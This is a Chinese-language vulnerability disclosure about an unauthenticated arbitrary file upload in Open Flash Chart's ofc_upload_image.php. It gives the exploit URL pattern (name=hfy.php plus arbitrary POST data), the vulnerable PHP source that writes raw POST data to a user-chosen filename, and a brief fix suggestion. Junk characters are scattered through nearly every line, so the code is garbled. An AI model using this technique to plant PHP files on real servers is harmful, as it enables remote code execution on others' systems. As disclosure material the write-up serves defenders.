POST 数据漏洞文件执行任意后缀文件保存& g8 \/ {/ Z0 Y) ]# @# \
漏洞文件/chart/php-ofc-library/ofc_upload_image.php7 K1 f4 D' }5 L9 J6 I
6 n1 }6 k" s6 o利用:) E0 n5 N8 {" P- [0 ]2 D
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
0 F/ Y1 u* z+ L( E8 J1 q( Z+ Y' b0 |; o) w0 S5 x
Post任意数据
& ~' o6 J, b# j ^- K保存位置http://localhost/chart/tmp-upload-images/hfy.php
5 h) S- I8 _9 b9 U* H9 w
7 t/ g$ Q3 ^* B) E; @
0 D& k( P" t! x% I# k; z; R% G最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~5 e/ ^3 |4 ^7 W% T' E: K) ~) v
6 h' }$ R; V" D6 k
<?php
' a/ O$ k8 ?5 x. @, Z9 H
8 G" U3 k. O2 R, e. F/ f% B//
: a: [- e- e& k# c6 S/ `) t8 E: I6 f! Y// In Open Flash Chart -> save_image debug mode, you" n% \6 [9 v" B6 F3 ~+ A3 l
// will see the 'echo' text in a new window.
2 i) X9 M2 y% O' ^) E B, O//3 V) k- f7 A7 Q, a" }, ]
( d/ x; N+ T1 O9 r" D/*2 X- w$ f+ I" b& S3 m/ @8 t
. V; J6 `# e7 N( l- p9 M
print_r( $_GET );# c2 v6 O4 K+ ?2 x5 T7 ~
print_r( $_POST );* [5 h: U. K4 q
print_r( $_FILES );: ?3 q$ t; {; M& b* ]& j P
, p& ?9 ^) l2 R' h. B% zprint_r( $GLOBALS );3 o8 d; A; Y& N- d" R. K) p
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
" r/ N$ J! q5 z; e- m! \" T" Y6 a, h' e1 x$ M; I
*/
1 Z/ ?- e Z! b// default path for the image to be stored //& _" v" P1 P+ O7 P
$default_path = '../tmp-upload-images/';
6 F; g5 ]1 S0 w$ a
% G8 |3 I- S" C; L0 R0 s% ?8 Rif (!file_exists($default_path)) mkdir($default_path, 0777, true); \2 c5 l4 ?! o) [8 v
- ?# \& `$ B: z1 W6 T// full path to the saved image including filename //
3 H7 J% y# R) S$destination = $default_path . basename( $_GET[ 'name' ] ); , r4 P2 B- b8 M
: E' L6 W. Z2 [1 _echo 'Saving your image to: '. $destination;7 d, m# C: D o2 p& L7 B
// print_r( $_POST );
8 ^3 i# g2 s G& l y// print_r( $_SERVER );7 p$ d: m$ `) G7 V: f
// echo $HTTP_RAW_POST_DATA;
4 r- c% z# m, ]( `7 G) w2 p) L0 H8 G+ \
//
7 P* y& Y0 X) s8 f// POST data is usually string data, but we are passing a RAW .png
/ k$ s H6 d: S) h) F! W, G7 h! M// so PHP is a bit confused and $_POST is empty. But it has saved0 u( L$ }+ s7 b" w( F& L
// the raw bits into $HTTP_RAW_POST_DATA
& y2 `+ e* r; t/ V6 y//" d, p- r9 F8 Z8 y( E! k& T. }
5 Z: l4 n" K& D7 \$ K7 q$jfh = fopen($destination, 'w') or die("can't open file");/ S' T) d( p3 L
fwrite($jfh, $HTTP_RAW_POST_DATA);6 x! n0 U: l/ l. I) }2 O' |
fclose($jfh);
9 t8 a0 n- G2 E$ A+ f' |. ]$ w; |% k0 ]& N) V
// [7 I- V8 i" X0 T! A) u# w
// LOOK:
& P) b C. O7 E& R* P* U# q9 ^//5 T2 U# k: T2 B4 I1 Q5 E
exit();4 W$ ]6 h. ?; c
//; ?9 R: j P# O' S
// PHP5:
7 M! M: ^" q* v, b2 P ]. v/ b//
E: [9 y8 x4 N. ]1 b8 q2 w
- X' p2 f, c+ i8 G9 _: N! N. P0 J; n) h' C4 B
// default path for the image to be stored //3 l* r" J4 x, b) Y
$default_path = 'tmp-upload-images/';
g3 U p, a9 P, e$ A$ n/ F$ e/ I% D: |# V; w
if (!file_exists($default_path)) mkdir($default_path, 0777, true);9 ?0 h* J4 M; h9 s
) Y K( ?! @* m! ~' w
// full path to the saved image including filename //
& z) q4 \6 z- h) r$ z$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
$ m7 b8 C3 P/ C" m) c6 c0 B2 G" y- ~6 X$ {- L3 Q
// move the image into the specified directory //
% ] A! B+ j1 O% tif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
* `8 _8 n) v' r( b echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
. q8 {# I5 b V( A3 F! `} else {
1 Y1 U* ]2 G5 [& c echo "FILE UPLOAD FAILED";
' n# h" b0 e2 y: D6 j% k6 x P3 ]}/ @: ]! | l, C- g3 c
6 u9 h: p8 Q# O. h2 B" d# |
6 g& m+ A) i, ]% E: `0 G% S?>5 M5 i" Z' R% L& T( j9 }
- y v0 o) s$ _& o3 y/ W# J2 R' }% y) @1 \. ~1 ^; S
9 \3 C' M3 _( R, s) t
u1 f& L7 {% _
1 m6 T: @# i) F, l# x5 ]2 j1 M: Q$ k: b0 }' r( P5 z+ c
修复方案: ! a M8 ]2 q, b$ w3 p9 {. G5 _$ h
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 + U1 m5 L: ^- b: {
2 ]) W o2 n. A0 L8 q U- Q" S: u9 U: L; i T' Q9 n# y8 k' e, p, x* b
/ C6 _. B1 g3 ^% f9 T" A/ W
, j6 ^' l# I' u |